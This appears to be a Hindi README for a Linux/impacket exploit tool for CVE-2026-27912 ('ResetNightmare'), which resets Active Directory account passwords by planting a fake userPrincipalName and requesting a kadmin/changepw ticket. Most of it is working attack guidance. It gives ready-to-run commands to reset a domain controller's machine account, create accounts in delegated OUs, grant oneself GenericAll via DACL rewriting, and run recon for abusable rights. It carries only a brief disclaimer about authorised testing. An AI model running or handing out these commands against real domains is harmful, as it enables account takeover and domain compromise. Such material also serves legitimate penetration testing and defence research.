
CVE-2026-27912 (ResetNightmare) — Semperis Community के Invoke-ResetNightmare PoC का Linux/impacket पोर्ट
CVE-2026-27912 ("ResetNightmare") के लिए Linux / impacket टूलिंग। यह किसी लक्षित
Active Directory खाते का पासवर्ड रीसेट करता है, इसके द्वारा कि एक NT_ENTERPRISE प्रिंसिपल के लिए
kadmin/changepw TGT का अनुरोध किया जाता है जिसका नाम लक्ष्य का sAMAccountName है, और उस खाते (UPNUser) का उपयोग किया जाता है
जिस पर हम एक नकली userPrincipalName लिख सकते हैं।
Semperis Community Invoke-ResetNightmare
PowerShell टूल का Python पोर्ट (देखें श्रेय)।
केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उपयोग के लिए। यह टूल वास्तविक Active Directory क्रेडेंशियल्स को बदलता है और खातों को लॉक आउट कर सकता है।
GenericAll प्रदान करें, उसका पासवर्ड सेट करें, उसे सक्षम करें।sAMAccountName हल करें।UPNUser.userPrincipalName = <targetSAN> (नकली UPN) सेट करें।kadmin/changepw के लिए NT_ENTERPRISE '<targetSAN>' के रूप में AS-REQ — KDC एंटरप्राइज़ UPN को
लक्ष्य पर मैप करता है और उसके लिए एक परिवर्तन-पासवर्ड TGT जारी करता है।--upn-user चुनना--upn-user वह खाता है जिस पर आप नकली UPN लिखते हैं (एक उपयोगकर्ता, या --computer के साथ एक कंप्यूटर)। एकमात्र आवश्यकता यह है कि आप उसका userPrincipalName लिख सकें।
इसे प्राप्त करने के तीन तरीके हैं — वही जिन पर मूल PowerShell निर्भर करता है:
| # | आप UPN-लिखने की क्षमता कैसे प्राप्त करते हैं | फ़्लैग | क्या OU आवश्यक है? |
|---|---|---|---|
| A | खाते को उस OU में बनाएँ जहाँ आपके पास Create Child है → आप उसके स्वामी हैं → टूल स्वयं को GenericAll प्रदान करता है → UPN लिखता है | --create-new-path | हाँ |
| B | एक मौजूदा खाता जिस पर आपके पास पहले से GenericWrite / GenericAll / WriteProperty(userPrincipalName) है | (कोई नहीं) | नहीं |
| C | एक मौजूदा खाता जिसका आप स्वामी हैं या जिस पर WriteDacl है (कोई सीधा प्रॉपर्टी राइट नहीं) | --grant-self | नहीं |
इसलिए आपको आवश्यक रूप से किसी OU को नियंत्रित करने की आवश्यकता नहीं है — पथ B किसी भी एकल खाते पर प्रत्यायोजित
अधिकारों से काम करता है। लेकिन आपको A/B/C में से एक चाहिए। यह देखने के लिए कि आपके पास कौन-सा है, --find चलाएँ।
केवल एक डोमेन कंप्यूटर पर्याप्त नहीं है। एक मशीन जिस पर आप स्थानीय एडमिन हैं / जिसका हैश आपके पास है — लेकिन जिस पर आपके पास कोई AD लेखन अधिकार नहीं है — आपको A/B/C में से कोई नहीं देती। और MachineAccountQuota के माध्यम से बनाया गया कंप्यूटर (
addcomputer.pyद्वाराCN=Computersमें) भी काम नहीं करता: उसका निर्माता स्वामी नहीं होता और उसे कोई UPN लेखन नहीं मिलता, इसलिए सीधा लेखन और--grant-selfदोनोंresult 50के साथ विफल हो जाते हैं। प्रत्यायोजित OU के साथ पथ A का उपयोग करें।
python3 -m venv venv
./venv/bin/pip install -r requirements.txt
ऑपरेटर क्रेडेंशियल्स पहला पोज़िशनल आर्ग्युमेंट हैं: [domain/]username[:password]।
कोई भी पासवर्ड छोड़ा जा सकता है और आपसे उसके लिए प्रॉम्प्ट किया जाएगा।
Recon — यह अकाउंट किस चीज़ का दुरुपयोग कर सकता है? उन अकाउंट्स की रिपोर्ट करता है जिन पर आप UPN लिख सकते हैं, उन OUs की जिनमें आप ऑब्जेक्ट बना सकते हैं, और MachineAccountQuota, सुझाए गए कमांड्स के साथ:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
प्रत्येक finding अपने via: कारण और ऑब्जेक्ट का owner: प्रिंट करता है। owner दो कंप्यूटर-निर्माण पथों को एक नज़र में अलग करता है — एक delegated-container कंप्यूटर owner: <you> दिखाता है (आपके पास अंतर्निहित WRITE_DAC है, इसलिए --grant-self काम करता है), जबकि MAQ / CN=Computers वाला owner: BUILTIN\Administrators दिखाता है (आपके पास यह नहीं है, इसलिए इसका उपयोग नहीं किया जा सकता):
=== Accounts you can write a UPN on (use as --upn-user) ===
[+] svc_web CN=svc_web,OU=Services,DC=corp,DC=local
via: WriteProperty(userPrincipalName)
owner: Domain Admins
किसी लक्ष्य को रीसेट करें उस खाते का उपयोग करके जिस पर आप UPN लिख सकते हैं:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
पहले UPN खाता बनाएं (OU पर Create Child, और LDAPS की आवश्यकता है):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
एक कंप्यूटर खाता बनाएं UPN खाते के रूप में (--create-new-path + --computer):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
--upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
मौजूदा खाता जहाँ आप DACL को फिर से लिख सकते हैं लेकिन UPN नहीं लिख सकते (--grant-self)।
जब --find किसी --upn-user की रिपोर्ट करता है जो Owner या WriteDacl के माध्यम से पहुँच योग्य है (आप
उसका ACL बदल सकते हैं लेकिन सीधे प्रॉपर्टी राइट नहीं है), तो --grant-self पहले आपके लिए एक GenericAll ACE जोड़ता है,
फिर हमला आगे बढ़ता है। केवल मौजूदा खातों के लिए — --create-new-path
पहले से ही स्वयं को अनुदान देता है।
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --grant-self \
--upn-user svc_legacy --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
यदि
--grant-selfस्वयंresult 50के साथ विफल हो जाता है, तो आप उस खाते के मालिक नहीं हैं और आपके पास उस पर WriteDacl नहीं है — यह मदद नहीं कर सकता। यह उस कंप्यूटर के लिए सामान्य परिणाम है जिसे आपनेaddcomputer.py/MAQ के माध्यम से बनाया है: निर्माताओं को आमतौर पर न तो स्वामित्व मिलता है और न ही UPN लेखन, इसलिए MAQ कंप्यूटर--upn-userके रूप में उपयोग करने योग्य नहीं हैं।--findचलाएँ और ऐसा खाता चुनें जिसे यहWriteProperty(userPrincipalName),GenericWrite,GenericAll,Owner, याWriteDaclके रूप में चिह्नित करता है।
विस्तृत AS-REQ / LDAP / kpasswd लॉगिंग के लिए -debug जोड़ें।